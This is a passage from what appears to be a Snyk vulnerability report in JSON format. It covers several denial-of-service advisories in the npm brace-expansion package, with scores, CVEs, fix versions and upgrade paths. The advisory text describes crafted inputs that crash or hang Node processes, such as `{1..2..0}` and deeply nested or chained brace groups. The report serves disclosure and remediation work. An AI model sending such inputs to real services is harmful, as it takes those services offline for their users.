"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
